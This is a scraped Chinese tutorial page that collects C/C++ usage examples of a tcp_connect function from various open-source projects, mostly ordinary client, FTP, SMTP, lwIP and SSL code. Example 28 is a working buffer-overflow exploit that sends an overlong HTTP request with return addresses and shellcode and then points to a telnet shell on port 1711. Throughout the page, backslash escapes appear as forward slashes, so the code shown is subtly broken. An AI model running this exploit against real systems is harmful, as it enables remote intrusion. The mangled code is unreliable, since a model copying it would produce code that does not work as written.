您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ tcp_connect函数代码示例

51自学网 2021-06-03 08:42:09
  C++
这篇教程C++ tcp_connect函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中tcp_connect函数的典型用法代码示例。如果您正苦于以下问题:C++ tcp_connect函数的具体用法?C++ tcp_connect怎么用?C++ tcp_connect使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了tcp_connect函数的29个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: main

int main(int argc, char **argv){	int fd;	int bytes_sent, bytes_recv;	int len;	char buffer[BUF_SIZE];	char *msg;	char *longbuf;		if(argc != 3)		die0("usage: ./client <destination_hostname> <remote_port>");		// connect	fd = tcp_connect(argv[1], atoi(argv[2]));		// compose msg to be sent	msg = (char *)malloc(MAX_CHARS * sizeof(char));	strcpy(msg, "GET /index.html HTTP/1.0/nHost: ");	strcat(msg, argv[1]);	strcat(msg, "/r/n/r/n"); // ends in CRLF	len = strlen(msg);		if((bytes_sent = send(fd, msg, len, 0)) < 0){		free(msg);		die0("send error/n");	}	printf("sent:/n %s/n", msg);		// receive into longbuf	longbuf = (char *)malloc(SQR(MAX_CHARS) * sizeof(char));	int index = 0;	do{		if((bytes_recv = recv(fd, buffer, sizeof(buffer), 0)) < 0){			free(msg);			free(longbuf);			die0("recv error/n");		}		sprintf((char *)&longbuf[index], buffer);		index += bytes_recv;	}while(bytes_recv != 0 && strlen(longbuf) < SQR(MAX_CHARS));		printf("received:/n %s/n", longbuf);		close(fd);	free(msg);	free(longbuf);	return 0;}
开发者ID:alista24ftp,项目名称:cpsc261,代码行数:48,


示例2: mon_srch_connect

/****************************************************************************** **函数名称: mon_srch_connect **功    能: 测试代理服务处理大并发连接的能力 **输入参数: **     menu: 菜单 **输出参数: NONE **返    回: 连接代理服务 **实现描述:  **注意事项:  **作    者: # Qifeng.zou # 2014.12.27 # ******************************************************************************/static int mon_srch_connect(menu_cntx_t *menu_ctx, menu_item_t *menu, void *args){    char digit[256];    int idx, num, max;    int *fd;    mon_cntx_t *ctx = (mon_cntx_t *)args;    /* > 输入最大连接数 */    fprintf(stderr, "    Max connections: ");    scanf(" %s", digit);    max = atoi(digit);    fd = (int *)calloc(1, max*sizeof(int));    /* > 连接代理服务 */    num = 0;    for (idx=0; idx<max; ++idx) {        fd[idx] = tcp_connect(AF_INET, ctx->conf->search.ip, ctx->conf->search.port);        if (fd[idx] < 0) {            fprintf(stderr, "    errmsg:[%d] %s!/n", errno, strerror(errno));            break;        }        fprintf(stdout, "    Connect success! idx:%d fd:%d/n", idx, fd[idx]);        ++num;    }#if 1    /* 发送搜索数据 */    for (idx=0; idx<num; ++idx) {        mon_srch_send_rep(fd[idx], "爱我中华");    }#endif    if (num <= 0) {        return 0;    }    Sleep(5);    /* 关闭网络连接 */    for (idx=0; idx<num; ++idx) {        CLOSE(fd[idx]);    }    FREE(fd);    return 0;}
开发者ID:jinrenlab,项目名称:tanlz,代码行数:59,


示例3: initialize_deliver

DWORD initialize_deliver( struct audit_profile *audit ){	if((audit->connected_sock = tcp_connect(audit->host, audit->port)) == -1)	{		if(NETIO_DEBUG)		fprintf(stderr,						"[%08X] Error: Failed to make TCP connection to remote service/n"				,audit->connected_sock);			return(-1);	}	return(0);}
开发者ID:0xr0ot,项目名称:shellcoderhandbook,代码行数:16,


示例4: tcp_client_start

int tcp_client_start(char* ip, u_short port, char* send_buf = NULL){	SOCKET sock;	if(send_buf == NULL)	{		send_buf = (char*)malloc(64);		memset(send_buf, 'T', 64);	}	socket_init();	tcp_socket(&sock);	tcp_connect(&sock, ip, port);	tcp_send(&sock, send_buf, 64);		return 0;}
开发者ID:gozfree,项目名称:src,代码行数:16,


示例5: smtp_connect

/* connect remote SMTP server */static voidsmtp_connect(smtp_t * smtp){	enum connect_result status;	if ((smtp->fd = socket(global_data->smtp_server.ss_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {		DBG("SMTP connect fail to create socket.");		free_smtp_all(smtp);		return;	}	status = tcp_connect(smtp->fd, &global_data->smtp_server);	/* Handle connection status code */	thread_add_event(master, SMTP_FSM[status].send, smtp, smtp->fd);}
开发者ID:MaheshWaidande,项目名称:keepalived,代码行数:17,


示例6: tcp_new

int EthernetClient::connect(IPAddress ip, uint16_t port, unsigned long timeout) {	ip_addr_t dest;	dest.addr = ip;	cs->cpcb = tcp_new();	cs->read = 0;	cs->p = NULL;	if (cs->cpcb == NULL) {		return false;	}	tcp_arg((tcp_pcb*)cs->cpcb, this);	tcp_recv((tcp_pcb*)cs->cpcb, do_recv);	tcp_err((tcp_pcb*)cs->cpcb, do_err);	uint8_t val = tcp_connect((tcp_pcb *)cs->cpcb, &dest, port, do_connected);	if (val != ERR_OK) {		return false;	}	/* Wait for the connection.	 * Abort if the connection does not succeed within the prescribed timeout */	unsigned long then = millis();	while (!_connected) {		unsigned long now = millis();		delay(10);		if (now - then > timeout) {			tcp_close((tcp_pcb*)cs->cpcb);			cs->cpcb = NULL;			return false;		}	}	if (cs->cpcb->state != ESTABLISHED) {		_connected = false;		tcp_close((tcp_pcb*)cs->cpcb);		cs->cpcb = NULL;		return false;	}	/* Poll to determine if the peer is still alive */	tcp_poll((tcp_pcb*)cs->cpcb, do_poll, 10);	return _connected;}
开发者ID:energia,项目名称:tivac-core,代码行数:47,


示例7: http_download_photo

int http_download_photo(char *path, char *email){	struct connection *conn;	struct connect_options conn_opts = {0};	int error_code;	int rc;	if (!open_socket_lib()) return 0;	rc = 0;	if ((conn = tcp_connect("simplemail.sourceforge.net", 80, &conn_opts, &error_code)))	{		char *line;		int download = 0;		tcp_write(conn,"GET /gallery_get_image.php?",sizeof("GET /gallery_get_image.php?")-1);		tcp_write(conn,email,strlen(email));		tcp_write(conn," HTTP/1.0/r/nhost: simplemail.sourceforge.net/r/n/r/n",sizeof(" HTTP/1.0/r/nhost: simplemail.sourceforge.net/r/n/r/n")-1);		while ((line = tcp_readln(conn)))		{			if (!mystrnicmp("Content-Type: image/",line,20)) download = 1;			if (line[0] == 10 && line[1] == 0) break;		}		if (download)		{			FILE *fp = fopen(path,"wb");			if (fp)			{				int got;				char buf[1024];				while ((got = tcp_read(conn,buf,1024))>0)				{					fwrite(buf,1,got,fp);				}				rc = 1;				fclose(fp);			}		}		tcp_disconnect(conn);	}	close_socket_lib();	return rc;}
开发者ID:weechatter,项目名称:simplemail,代码行数:47,


示例8: on_accept

void on_accept(tcp_client *client) {    conn_peer *cpeer = (conn_peer*)ohmalloc(sizeof(conn_peer));    tcp_client *rclient = (tcp_client*)ohmalloc(sizeof(tcp_client));    tcp_client_init(rclient, &serv_addr, client->loop_on, 0, NULL, 0);    tcp_connection_set_on_connect(rclient, on_connect);    tcp_connection_set_on_close(rclient, on_close);    tcp_connection_set_on_read(rclient, on_read);    tcp_connect(rclient);    client->data = (void*)cpeer;    rclient->data = (void*)cpeer;    cpeer->conn[0] = client;    cpeer->conn[1] = rclient;    cpeer->status[0] = ON;    cpeer->status[1] = OFF;}
开发者ID:swm8023,项目名称:libohnet,代码行数:17,


示例9: client

static void client (){    sock_data_t self;    char buffer[BUFLEN];    int e;    sock_data_init(&self, "127.0.0.1", 9000);    if (tcp_connect(&self, &e)) {        strerror_r(e, buffer, BUFLEN);        fprintf(stderr, "Connecting to server: %s/n", buffer);        return;    }    write(self.fd, "hello world", strlen("hello world"));    close(self.fd);}
开发者ID:dacav,项目名称:Tmp-Experiments,代码行数:17,


示例10: tcp_connect_thread

inttcp_connect_thread(thread_t * thread){	SOCK *sock_obj = THREAD_ARG(thread);	if ((sock_obj->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {		DBG("WEB connection fail to create socket./n");		return 0;	}	sock->status = tcp_connect(sock_obj->fd, req->addr_ip, req->addr_port);	/* handle tcp connection status & register check worker thread */	tcp_connection_state(sock_obj->fd, sock_obj->status, thread, tcp_check_thread,			     HTTP_CNX_TIMEOUT);	return 0;}
开发者ID:Sir168,项目名称:dsnat,代码行数:17,


示例11: ftp_data

/* Open a data connection. Only Passive mode supported yet, easier..	*/int ftp_data( ftp_t *conn ){	int i, info[6];	char host[MAX_STRING];		/* Already done?						*/	if( conn->data_fd > 0 )		return( 0 );	/*	if( conn->ftp_mode == FTP_PASSIVE )	{*/		ftp_command( conn, "PASV" );		if( ftp_wait( conn ) / 100 != 2 )			return( 0 );		*host = 0;		for( i = 0; conn->message[i]; i ++ )		{			if( sscanf( &conn->message[i], "%i,%i,%i,%i,%i,%i",			            &info[0], &info[1], &info[2], &info[3],			            &info[4], &info[5] ) == 6 )			{				sprintf( host, "%i.%i.%i.%i",				         info[0], info[1], info[2], info[3] );				break;			}		}		if( !*host )		{			sprintf( conn->message, _("Error opening passive data connection./n") );			return( 0 );		}		if( ( conn->data_fd = tcp_connect( host,			info[4] * 256 + info[5], conn->local_if ) ) == -1 )		{			sprintf( conn->message, _("Error opening passive data connection./n") );			return( 0 );		}				return( 1 );/*	}	else	{		sprintf( conn->message, _("Active FTP not implemented yet./n" ) );		return( 0 );	} */}
开发者ID:a710128,项目名称:axel,代码行数:47,


示例12: connect

/*-----------------------------------------------------------------------------------*/static voidconnect(void){  uip_ipaddr_t addr, *addrptr;  uint16_t port;  char *cptr;  struct uip_conn *conn;  /* Find the first space character in host and put a zero there     to end the string. */  for(cptr = telnethost; *cptr != ' ' && *cptr != 0; ++cptr);  *cptr = 0;  addrptr = &addr;#if UIP_UDP  if(uiplib_ipaddrconv(telnethost, &addr) == 0) {    addrptr = resolv_lookup(telnethost);    if(addrptr == NULL) {      resolv_query(telnethost);      show("Resolving host...");      return;    }  }#else /* UIP_UDP */  uiplib_ipaddrconv(telnethost, &addr);#endif /* UIP_UDP */  port = 0;  for(cptr = telnetport; *cptr != ' ' && *cptr != 0; ++cptr) {    if(*cptr < '0' || *cptr > '9') {      show("Port number error");      return;    }    port = 10 * port + *cptr - '0';  }  conn = tcp_connect(addrptr, uip_htons(port), &ts_appstate);  if(conn == NULL) {    show("Out of memory error");    return;  }  show("Connecting...");}
开发者ID:AWRyder,项目名称:contiki,代码行数:47,


示例13: probe_imap

/* * Given a host and timeout, probe the IMAP server.  The port is not * configurable.  The host defaults to localhost.  This closes down the IMAP * connection nicely rather than just closing the connection. */static intprobe_imap(const char *host, int timeout){    socket_type sd;    int retval = 0;    sd = tcp_connect(host ? host : "localhost", "imap", 143);    if (sd == INVALID_SOCKET)        return -1;    else {        retval = lbcd_check_reply(sd, timeout, "* OK");        /* Only for clean shutdown, don't care about failure. */        if (socket_write(sd, "tag logout/r/n", 12) < 0) {}        socket_close(sd);    }    return retval;}
开发者ID:rra,项目名称:lbcd,代码行数:22,


示例14: tcp_connect

int PubSub_mbed::connect(char *id) {    err_t err= tcp_connect(this->pcb, &server, 1883, tcp_fun);    if(err != ERR_OK) {        printf("Connection Error : %d/r/n",err);        return -1;    } else {        //printf("Connection sucessed../r/n");    }    wait(1);    tcp_accept(this->pcb, tcp_fun);    device_poll();    // variable header    uint8_t var_header[] = {0x00,0x06,0x4d,0x51,0x49,0x73,0x64,0x70,0x03,0x02,0x00,KEEPALIVE/500,0x00,strlen(id)};    // fixed header: 2 bytes, big endian    uint8_t fixed_header[] = {MQTTCONNECT,12+strlen(id)+2};    char packet[sizeof(fixed_header)+sizeof(var_header)+strlen(id)];    memset(packet,0,sizeof(packet));    memcpy(packet,fixed_header,sizeof(fixed_header));    memcpy(packet+sizeof(fixed_header),var_header,sizeof(var_header));    memcpy(packet+sizeof(fixed_header)+sizeof(var_header),id,strlen(id));    //Send MQTT identification message to broker.    err = tcp_write(this->pcb, (void *)packet, sizeof(packet), 1);    if (err == ERR_OK) {        tcp_output(this->pcb);        //printf("Identificaiton message sended correctlly.../r/n");        return 1;    } else {        printf("Failed to send the identification message to broker.../r/n");        printf("Error is: %d/r/n",err);        tcp_close(this->pcb);        return -2;    }    printf("/r/n");    device_poll();    return 1;}
开发者ID:andypiper,项目名称:MQTT-client-on-mbed,代码行数:46,


示例15: connect

/**  * connect - the function will connect loacl socket to target IP device  *                      * @param sockfd   the handle of the socket  * @param addr     structure filled of target ip address and port  * @param addrlen  the length of the target addr structure  *  * @return the result  */int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen){    struct socket *socket = (struct socket *)sockfd;    int ret = -1;       if (SOCK_STREAM == socket->type)    {         ret = tcp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port, NULL);    }    else if (SOCK_PACKET == socket->type)    {         ret = udp_connect(socket->pcb, (struct ip_addr *)&addr->sin_addr, addr->sin_port);          udp_recv(socket->pcb, socket_udp_recv, socket);             }      return ret;}
开发者ID:donghengqaz,项目名称:POSIX-RTOS,代码行数:26,


示例16: ClientBenchmarkConnections

int ClientBenchmarkConnections(WOLFSSL_CTX* ctx, char* host, word16 port,    int doDTLS, int benchmark, int resumeSession){    /* time passed in number of connects give average */    int times = benchmark;    int loops = resumeSession ? 2 : 1;    int i = 0;    WOLFSSL_SESSION* benchSession = NULL;    while (loops--) {        int benchResume = resumeSession && loops == 0;        double start = current_time(), avg;        for (i = 0; i < times; i++) {            SOCKET_T sockfd;            WOLFSSL* ssl = wolfSSL_new(ctx);            if (ssl == NULL)                err_sys("unable to get SSL object");            tcp_connect(&sockfd, host, port, doDTLS, ssl);            if (benchResume)                wolfSSL_set_session(ssl, benchSession);            wolfSSL_set_fd(ssl, sockfd);            if (wolfSSL_connect(ssl) != SSL_SUCCESS)                err_sys("SSL_connect failed");            wolfSSL_shutdown(ssl);            if (i == (times-1) && resumeSession) {                benchSession = wolfSSL_get_session(ssl);            }            wolfSSL_free(ssl);            CloseSocket(sockfd);        }        avg = current_time() - start;        avg /= times;        avg *= 1000;   /* milliseconds */        if (benchResume)            printf("wolfSSL_resume  avg took: %8.3f milliseconds/n", avg);        else            printf("wolfSSL_connect avg took: %8.3f milliseconds/n", avg);    }    return EXIT_SUCCESS;}
开发者ID:Darlingman,项目名称:wolfssl,代码行数:45,


示例17: lwiperf_tx_start

/** Start TCP connection back to the client (either parallel or after the * receive test has finished. */static err_tlwiperf_tx_start(lwiperf_state_tcp_t* conn){  err_t err;  lwiperf_state_tcp_t* client_conn;  struct tcp_pcb* newpcb;  ip_addr_t remote_addr;  u16_t remote_port;  client_conn = (lwiperf_state_tcp_t*)LWIPERF_ALLOC(lwiperf_state_tcp_t);  if (client_conn == NULL) {    return ERR_MEM;  }  newpcb = tcp_new();  if (newpcb == NULL) {    LWIPERF_FREE(lwiperf_state_tcp_t, client_conn);    return ERR_MEM;  }  memcpy(client_conn, conn, sizeof(lwiperf_state_tcp_t));  client_conn->base.server = 0;  client_conn->server_pcb = NULL;  client_conn->conn_pcb = newpcb;  client_conn->time_started = sys_now(); /* TODO: set this again on 'connected' */  client_conn->poll_count = 0;  client_conn->next_num = 4; /* initial nr is '4' since the header has 24 byte */  client_conn->bytes_transferred = 0;  client_conn->settings.flags = 0; /* prevent the remote side starting back as client again */  tcp_arg(newpcb, client_conn);  tcp_sent(newpcb, lwiperf_tcp_client_sent);  tcp_poll(newpcb, lwiperf_tcp_poll, 2U);  tcp_err(newpcb, lwiperf_tcp_err);  ip_addr_copy(remote_addr, conn->conn_pcb->remote_ip);  remote_port = (u16_t)htonl(client_conn->settings.remote_port);  err = tcp_connect(newpcb, &remote_addr, remote_port, lwiperf_tcp_client_connected);  if (err != ERR_OK) {    lwiperf_tcp_close(client_conn, LWIPERF_TCP_ABORTED_LOCAL);    return err;  }  lwiperf_list_add(&client_conn->base);  return ERR_OK;}
开发者ID:michas2,项目名称:l4re-snapshot,代码行数:48,


示例18: gather_relay2

static int gather_relay2(struct candidate *cand, int turn_proto){	struct ice_lcand *base = cand->base;	int err;	switch (turn_proto) {	case IPPROTO_UDP:		/* the TURN-client must be created using the UDP-socket		 * of the base candidate		 */		err = turnc_alloc(&cand->turnc, NULL, turn_proto,				  base->us, LAYER_TURN, &cand->turn_srv,				  cand->ag->cli->param.username,				  cand->ag->cli->param.password,				  TURN_DEFAULT_LIFETIME, turnc_handler, cand);		if (err) {			re_printf("turn client: %m/n", err);		}		break;	case IPPROTO_TCP:		re_printf("TURN-TCP -- connecting to %J ../n",			  &cand->turn_srv);		/* NOTE: we are connecting _from_ an ephemeral port,		 *       since we might have Zero TCP-candidates		 */		err = tcp_connect(&cand->tc, &cand->turn_srv,				  tcp_estab_handler, tcp_recv_handler,				  tcp_close_handler, cand);		if (err) {			re_printf("tcp_connect error (%m)/n", err);			return err;		}		break;	default:		return EPROTONOSUPPORT;	}	return 0;}
开发者ID:alfredh,项目名称:reicec,代码行数:45,


示例19: TCP_SendCliTcpBuff

// ---------------------------------------------------------------------------// Enviar mensaje por puerto TCP con informacion de CliTcp//UINT8 TCP_SendCliTcpBuff(UINT8 * Buff, UINT16 BufLen){  UINT16  i;  UINT16  len;  UINT8   TimerGetStateId;  //  CliTcpIpChar[0] = 192;//  CliTcpIpChar[1] = 168;//  CliTcpIpChar[2] = 0;//  CliTcpIpChar[3] = 32; 	     if (tcp_getstate(TcpCliTcpSoch) != TCP_STATE_CONNECTED){        if ( tcp_connect (TcpCliTcpSoch, CliTcpIp, (UINT16)(CliTcpSockPort), 0 ) == (-1)){ // (UINT16)(DNP_LOCAL_PORT)         return 0x01;      }  }  if (tcp_checksend(TcpCliTcpSoch) < 0)   {    TcpWhileFlag = 0x01;    TimerGetStateId = TMR_SetTimer ( TCP_WAITFORSEND_TOUT , OS_NOT_PROC, TCP_StopWhileProc, FALSE);    while (tcp_checksend(TcpCliTcpSoch) < 0)    {       if (!TcpWhileFlag) return 0x01;    // Cuando vence el timer se resetea TcpWhileFlag    }    TMR_FreeTimer ( TimerGetStateId );  }    len = 0;  for( i=0 ; i < BufLen ; i++ ){	  net_buf[TCP_APP_OFFSET+len] = *Buff;	  Buff++;	  len++;	}  if(tcp_send(TcpCliTcpSoch, &net_buf[TCP_APP_OFFSET], NETWORK_TX_BUFFER_SIZE - TCP_APP_OFFSET, len) == len) {	    DEBUGOUT("TCP: bytes reply sent!/r/n");	}  else {      DEBUGOUT("TCP: error occured while trying to send data!/r/n");	}	return 0x00;}
开发者ID:aranni,项目名称:GWYNE64,代码行数:48,


示例20: nego_tcp_connect

int nego_tcp_connect(NEGO *nego){	if (nego->tcp_connected == 0)	{		if (tcp_connect(nego->iso->tcp, nego->hostname, nego->port) == False)		{			nego->tcp_connected = 0;			return 0;		}		else		{			nego->tcp_connected = 1;			return 1;		}	}	return 1;}
开发者ID:g-reno,项目名称:FreeRDP-old,代码行数:18,


示例21: lwipv4_socket_connect

static socket_error_t lwipv4_socket_connect(struct socket *sock, const struct socket_addr *address, const uint16_t port){    err_t err = ERR_OK;    if (!socket_addr_is_ipv4(address)) {        return SOCKET_ERROR_BAD_ADDRESS;    }    switch (sock->family){    case SOCKET_DGRAM:        err = udp_connect((struct udp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port);        break;    case SOCKET_STREAM:        err = tcp_connect((struct tcp_pcb *)sock->impl, (void*)socket_addr_get_ipv4_addrp(address), port, irqConnect);        break;    default:        return SOCKET_ERROR_BAD_FAMILY;    }    return lwipv4_socket_error_remap(err);}
开发者ID:u-blox,项目名称:sal-stack-lwip-ublox-odin-w2,代码行数:18,


示例22: telnet_disconnect

// we must reconnect if the login list isnt completed...int telnet_disconnect(Modules *mptr, Connection *cptr, char *buf, int size) {    CustomState *Cstate = CustomState_Ptr(cptr);    Connection *conn = cptr;        // close current fd..    close(cptr->fd);    cptr->fd = 0;        // now attempt to reuse the Connection structure (so we keep our state with usernames/passwords)    if (Cstate->complete || tcp_connect(mptr, cptr->list, cptr->addr, cptr->port, &conn) == NULL) {        // returning 0 means it will get removed (since its during disconnect)         //ConnectionBad(cptr);        return 0;    }        // returning 1 saves the structure from being removed    return 1;}
开发者ID:aventado,项目名称:clockwork,代码行数:19,


示例23: get_tcp_bw

static doubleget_tcp_bw(struct sockaddr_in *addr, const int count){    double diff;    struct timeval t1, t2;    gettimeofday(&t1, NULL);    tcp_connect(addr, count);    gettimeofday(&t2, NULL);    diff = sub_timeval(&t1, &t2);    printf("diff time %f/n", diff);    diff = ((double)count)/(diff*BUFSIZE);    printf("bw %f MB/n", diff);    return diff;}
开发者ID:EyalEnav,项目名称:cl_offload,代码行数:18,


示例24: tcp_connect_cb

static void tcp_connect_cb(void *ctx_p){    struct socket_t *socket_p = ctx_p;    const struct inet_addr_t *remote_addr_p;    ip_addr_t ip;    remote_addr_p = socket_p->input.cb.args_p;    inet_ip_to_lwip_ip(&ip, &remote_addr_p->ip);    socket_p->output.cb.state = STATE_CONNECT;    if (tcp_connect(socket_p->pcb_p,                    &ip,                    remote_addr_p->port,                    on_tcp_connected) != ERR_OK) {        socket_p->output.cb.state = STATE_IDLE;        resume_thrd(socket_p->input.cb.thrd_p, -1);    }}
开发者ID:eerimoq,项目名称:simba,代码行数:18,


示例25: show_exported_devices

static void show_exported_devices(char *host){	int ret;	SOCKET sockfd;	sockfd = tcp_connect(host, USBIP_PORT_STRING);	if (INVALID_SOCKET == sockfd){		info("- %s failed", host);		return;	}	info("- %s", host);	ret = query_exported_devices(sockfd);	if (ret < 0) {		err("query");	}	closesocket(sockfd);}
开发者ID:Shmuma,项目名称:usbip,代码行数:18,


示例26: tcp_usr_connect

/* * Initiate connection to peer. * Create a template for use in transmissions on this connection. * Enter SYN_SENT state, and mark socket as connecting. * Start keep-alive timer, and seed output sequence space. * Send initial segment on connection. */static voidtcp_usr_connect(netmsg_t msg){	struct socket *so = msg->connect.base.nm_so;	struct sockaddr *nam = msg->connect.nm_nam;	struct thread *td = msg->connect.nm_td;	int error = 0;	struct inpcb *inp;	struct tcpcb *tp;	struct sockaddr_in *sinp;	COMMON_START(so, inp, 0);	/*	 * Must disallow TCP ``connections'' to multicast addresses.	 */	sinp = (struct sockaddr_in *)nam;	if (sinp->sin_family == AF_INET	    && IN_MULTICAST(ntohl(sinp->sin_addr.s_addr))) {		error = EAFNOSUPPORT;		goto out;	}	if (!prison_remote_ip(td, (struct sockaddr*)sinp)) {		error = EAFNOSUPPORT; /* IPv6 only jail */		goto out;	}	tcp_connect(msg);	/* msg is invalid now */	return;out:	if (msg->connect.nm_m) {		m_freem(msg->connect.nm_m);		msg->connect.nm_m = NULL;	}	if (msg->connect.nm_flags & PRUC_HELDTD)		lwkt_rele(td);	if (error && (msg->connect.nm_flags & PRUC_ASYNC)) {		so->so_error = error;		soisdisconnected(so);	}	lwkt_replymsg(&msg->lmsg, error);}
开发者ID:iHaD,项目名称:DragonFlyBSD,代码行数:51,


示例27: main

int main(int argc, char *argv[]){  char buffer[1024];  int s;  int listener;  struct sockaddr_in addr;  int port;  size_t len;  memset(buffer, 0, 1024);  winsock_initialize();  s = tcp_connect("www.google.ca", 80);  if(s < 0)    DIE("Fail");  tcp_send(s, "GET / HTTP/1.0/r/nHost: www.google.com/r/n/r/n", 41);  tcp_recv(s, buffer, 1024);  tcp_close(s);  printf("%s/n", buffer);  printf("Listening on TCP/6666/n");  listener = tcp_listen("0.0.0.0", 6666);  s = tcp_accept(listener, &addr, &port);  if(s < 0)    DIE("Fail");  printf("Connection accepted from %s:%d/n", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));  memset(buffer, 0, 1024);  strcpy(buffer, "HELLO!");  len = 7;  while(len > 0 && tcp_send(s, buffer, len) >= 0)  {    memset(buffer, 0, 1024);    len = tcp_recv(s, buffer, 1024);    printf("Received: %s [%d]/n", buffer, len);  }  printf("%s/n", buffer);  return 1;}
开发者ID:52piaoyu,项目名称:dnscat2,代码行数:44,


示例28: main

/*Just supply a target ./caigw-win32 hostname */int main(int argc, char *argv[]){char buffer[MAXSIZE+1];int i = 0;int sclen = sizeof(sc), sock = 0;if(!argv[1])return 0;memset(buffer,'/x90',MAXSIZE/2);memcpy(buffer,"GET",3);for(i=3;i<24;i++)memcpy(buffer+i," ",1);for(i=21;i<423;i++)buffer[i] = 'A';/* XP SP2*/ //memcpy(buffer + 423+25,"/xdd/x10/x12/x12",4);/*W2ksp4 */memcpy(buffer + 422+25,"/xdd/x10/x12/x12",4);memcpy(buffer + 460,sc,sclen - 1);memcpy(buffer + (460 + sclen)," HTTP/1.0/r/n/r/n/r/n",16);buffer[460+sclen+20] = '/0';if( (sock = tcp_connect(argv[1],5250)) != -1 ){int bytes = 0;printf("[~] Sending request... /n");bytes = send(sock,buffer,strlen(buffer),0);printf("[!] Sent [%d] bytes/n",bytes);}else return -1;close(sock);sleep (2);printf("[@] Now telnet to port 1711/n");return 0;}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:45,


示例29: main

intmain(int argc, char **argv){	int sock;	struct config_t config;	struct buffer_t buffer;		/* initialize buffer */	buffer_init(&buffer);		/* parse arguments and config file */	if (setup(&config, argc, argv) != SETUP_OK) {		usage(stderr);		return EX_USAGE;	}		/* ask password if none was given, but username is set */	if (config.username && !config.password) {		config.password = askpass_tty(PASSWORD_PROMPT);		/* exit if unable to get password */		if (!config.password)			return EX_NOINPUT;	}		/* connect to proxy */	if ((sock = tcp_connect(config.proxyname, config.proxyport)) == -1)		return EX_UNAVAILABLE;		/* tunnel setup */	if (proxy_connect(sock, &buffer, config.hostname, config.hostport,		config.username, config.password) != 0)	{		close(sock);		return EX_UNAVAILABLE;	}		/* tunnel data (does not return on failure) */	tunnel_handler(&buffer, config.ifd, config.ofd, sock, sock);		/* cleanup */	close(sock);		return EX_OK;}
开发者ID:gvsurenderreddy,项目名称:prcat,代码行数:44,



注:本文中的tcp_connect函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ tcp_err函数代码示例
C++ tcp_close函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。